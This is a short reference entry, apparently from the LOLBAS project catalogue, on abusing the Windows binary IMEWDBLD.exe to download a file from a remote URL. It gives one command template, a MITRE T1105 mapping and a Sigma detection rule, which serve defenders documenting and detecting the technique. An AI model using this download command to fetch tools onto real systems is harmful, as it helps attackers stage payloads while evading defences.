IMEWDBLD.exe — LOLBAS

Download

File DownloadWindows

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

Use Download file from Internet

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml
Refs: twitter.com/notwhickey/status/1367493406835040265
lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/